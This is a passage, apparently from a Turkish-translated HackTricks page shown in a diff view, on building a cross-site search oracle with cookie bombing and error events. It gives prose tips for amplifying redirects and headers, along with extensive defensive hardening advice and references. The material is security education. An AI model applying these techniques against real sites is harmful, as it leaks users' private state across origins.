Oracle'ı oluşturmak için ipuçları
|
||||
- “Pozitif” durumu daha ağır hale getirin: yalnızca koşul doğru olduğunda ekstra bir redirect zincirleyin veya redirect URL'sinin tahmin edilen önekle birlikte büyümesi için sınırsız kullanıcı girdisini yansıtmasını sağlayın.
|
||||
- Başlıkları şişirin: “ağır” yolunda tutarlı bir hata gözlenene kadar cookie bombing'i tekrarlayın. Sunucular genelde başlık boyutunu sınırlar ve birçok cookie olduğunda daha çabuk başarısız olurlar.
|
||||
- Dengeleyin: zamanlama ve önbellek gürültüsünü ortalamak için birden çok paralel cookie ayarlama işlemi başlatın ve tekrar tekrar sorgulayın.
|
||||
|
||||
İlgili XS-Search teknikleri
|
||||
- URL uzunluğuna dayalı oracle'lar (cookie gerekmez) çok uzun bir istek hedefi zorlayabildiğinizde birleştirilebilir veya onun yerine kullanılabilir:
|
||||
|
||||
{{#ref}}
|
||||
url-max-length-client-side.md
|
||||
{{#endref}}
|
||||
|
||||
Savunmalar ve sertleştirme
|
||||
- Başarı/başarısızlık yanıtlarını ayırt edilemez yapın:
|
||||
- Koşullu yeniden yönlendirmelerden veya durumlar arasında yanıt boyutunda büyük farklardan kaçının. Durumdan bağımsız olarak aynı HTTP durum kodunu, aynı içerik türünü ve benzer gövde uzunluğunu döndürün.
|
||||
- Çapraz-site altkaynak sorgularını engelleyin:
|
||||
- SameSite cookies: hassas cookie'leri SameSite=Lax veya Strict olarak ayarlayın, böylece <script src> gibi altkaynak istekleri onları taşımaz; mümkünse auth token'lar için Strict tercih edin.
|
||||
- Fetch Metadata: cross-site altkaynak yüklemelerini reddetmek için bir Resource Isolation Policy uygulayın (ör. Sec-Fetch-Site != same-origin/same-site ise).
|
||||
- Cross-Origin-Resource-Policy (CORP): cross-origin altkaynak olarak gömülmesi amaçlanmayan endpoint'ler için CORP: same-origin (ya da en azından same-site) ayarlayın.
|
||||
- X-Content-Type-Options: nosniff ve JSON/HTML endpoint'lerinde doğru Content-Type kullanarak load-as-script tuhaflıklarını önleyin.
|
||||
- Başlık/URL amplifikasyonunu azaltın:
|
||||
- Ayarlanan cookie sayısını/boyutunu sınırlandırın; rastgele form alanlarını Set-Cookie'ye dönüştüren özellikleri sanitize edin.
|
||||
- Yansıtılan verileri yönlendirmelerde normalize edin veya kısaltın; Location URL'lerinde saldırgan kontrollü uzun dizeleri gömmekten kaçının.
|
||||
- Sunucu sınırlarını tutarlı tutun ve tek tip şekilde başarısız olun (yalnızca bir dal için özel hata sayfalarından kaçının).
|
||||
|
||||
Notlar
|
||||
- Bu saldırı sınıfı geniş olarak “Error Events” XS-Leaks olarak tartışılır. cookie-bomb adımı, yalnızca tek bir dalı sunucu sınırlarının üzerine iterek güvenilir bir boolean oracle üretmenin kullanışlı bir yoludur.
|
||||
|
||||
## Referanslar
|
||||
- XS-Leaks: Error Events (onerror/onload bir oracle olarak): https://xsleaks.dev/docs/attacks/error-events/
|
||||
- MDN: 431 Request Header Fields Too Large (çok sayıda cookie ile yaygın): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user